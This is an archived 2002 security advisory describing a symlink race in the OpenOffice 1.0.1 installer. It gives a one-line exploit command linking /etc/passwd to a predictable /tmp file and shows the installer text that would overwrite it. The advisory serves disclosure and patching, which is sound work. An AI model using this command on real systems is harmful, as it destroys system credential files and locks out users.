[UNIX] OpenOffice Race Condition during Installation

From: support@securiteam.com
Date: 10/12/02


From: support@securiteam.com
To: list@securiteam.com
Date: 12 Oct 2002 16:21:14 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  OpenOffice Race Condition during Installation
------------------------------------------------------------------------

SUMMARY

OpenOffice 1.0.1 Race condition during installation can overwrite system
files.

DETAILS

Vulnerable systems:
 * OpenOffice version 1.0.1

A very simple and easy to exploit race condition exist during the
installation of OpenOffice. During this window a malicious user could
create a symlink in /tmp and overwrite arbitrary files.

Exploit:
As a normal user, run:
lwc $ ln -s /etc/passwd /tmp/$USERNAME_autoresponse.conf

Where $USERNAME is the installer account name (probably root). This will
result in the password file being over written with:

# create the proper autoresponse file
cat << EOF > /tmp/${USER}_autoresponse.conf
[ENVIRONMENT]
INSTALLATIONMODE=$installtype
INSTALLATIONTYPE=STANDARD
DESTINATIONPATH=$prefix/$oo_home
OUTERPATH=
LOGFILE=
LANGUAGELIST=<LANGUAGE>

[JAVA]
JavaSupport=preinstalled_or_none

EOF

Fix:
Create a directory under /tmp to work from with restrictive permissions.

ADDITIONAL INFORMATION

References:
 <http://www.openoffice.org/dev_docs/source/1.0.1/index.html>
http://www.openoffice.org/dev_docs/source/1.0.1/index.html

The information has been provided by <mailto:lwc@vapid.ath.cx> Larry W.
Cashdollar.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • Re: KB922760-second offer to download
    ... I went to the MS bulletin and read the security update and printed out the ... Since uninstall and reinstall, this notepad appears to show the same info - ... You can compare the file list with the installation log ... ...
    (microsoft.public.windowsupdate)
  • Re: Newbie - Trouble installing OpenOffice
    ... did you clean up the installation folders ... OpenOffice installation was not registered as it was ... defer the release of file descriptors. ... It really looks to me as if the soft updates is the culprit. ...
    (freebsd-questions)
  • Re: KB922760-second offer to download
    ... Best bet to determine why it's being reoffered is to go over the file list on the MS Sec Bulletin MS06-067 page, ... You can compare the file list with the installation log ... ... Looked in Add/Remove, there was KB922760, along with the other criticals I installed on 15Nov from their respective download sites, one at a time, off-line, AV etc all turned off/disabled - no problems experienced. ... I can uninstall from Add/Remove - no warnings re an uninstall effecting other updates. ...
    (microsoft.public.windowsupdate)
  • fairly dumb question about icewm floppy icon and desktop software....
    ... This was a slow process and involved a certain amount of farting around in the installation but in the end it worked. ... One thing is that I can't seem to find any icon for the floppy like there is in gnome. ... Another problem I have is that Openoffice takes ages to load and I think the machine is struggling a bit with it. ... To UNSUBSCRIBE, email to debian-user-REQUEST@xxxxxxxxxxxxxxxx with a subject of "unsubscribe". ...
    (Debian-User)
  • Re: OpenOffice 3.2 fails to build on FreeBSD 8.0-STABLE/amd64
    ... Whenever I try to portmaster/portupgrade an existing installation of OpenOffice 3.1.1 the update ends up in the error below. ... On another box, also running FreeBSD 8.0-STABLE/amd64, but UP and much less memory I get the same error. ... If you can afford the disk-space I would recommend to set up a simple "jail" and start the build inside your jail with a fresh portstree and without any userland-applications installed. ...
    (freebsd-questions)